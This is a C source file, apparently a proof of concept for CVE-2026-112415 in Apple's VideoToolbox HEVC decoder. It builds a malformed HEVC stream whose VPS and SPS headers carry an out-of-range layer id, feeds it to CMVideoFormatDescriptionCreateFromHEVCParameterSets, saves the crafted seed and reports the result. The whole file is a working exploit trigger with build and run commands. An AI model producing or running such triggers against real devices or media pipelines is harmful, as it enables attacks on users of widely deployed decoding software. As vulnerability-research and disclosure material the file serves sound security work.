// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415 // HEVC layer id outside the validated range // C twin of the Swift POC: builds the bad-layer-id HEVC stream and drives it through // CMVideoFormatDescriptionCreateFromHEVCParameterSets. // Build: clang -O2 -o cve-2026-112415 CVE-2026-112415.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation // Run: ./cve-2026-112415 [layer-id] #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } // ── seed construction (from Cinder27 Sources: VideoPayload.hevcBadLayerID) ── static buf hevc_bad_layer_id(uint8_t layer_id) { buf out = {0}; bcat(&out, "\x00\x00\x00\x01", 4); // Annex-B start code // VPS NAL, two-byte header carrying the out-of-range layer id bcat(&out, (uint8_t[]){0x40, 0x01, layer_id, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60}, 9); bcat(&out, "\x00\x00\x00\x01", 4); bcat(&out, (uint8_t[]){0x42, 0x01, layer_id, 0x01, 0x60, 0x00}, 6); // SPS brep(&out, 0, 16); return out; } // ── trigger: parameter-set parse through VideoToolbox ── #include #include #include int main(int argc, char **argv) { uint8_t layer_id = argc > 1 ? (uint8_t)strtoul(argv[1], NULL, 0) : 0x3F; buf data = hevc_bad_layer_id(layer_id); FILE *f = fopen("hevc_bad_layer.hevc", "wb"); if (f) { fwrite(data.d, 1, data.n, f); fclose(f); } CMFormatDescriptionRef format = NULL; const uint8_t *ptr = data.d; OSStatus status = CMVideoFormatDescriptionCreateFromHEVCParameterSets( kCFAllocatorDefault, 1, // one parameter set: the whole buffer &ptr, (size_t[]){data.n}, 4, // 4-byte NAL unit header length NULL, &format); printf("CVE-2026-112415 · layer id 0x%02x · OSStatus %d\n", layer_id, (int)status); if (format) { CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format); printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height); CFRelease(format); } else { printf("no format description produced (rejected at entry)\n"); } printf("seed: hevc_bad_layer.hevc (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1)); int rc = status == noErr ? 0 : 1; bfree(&data); return rc; }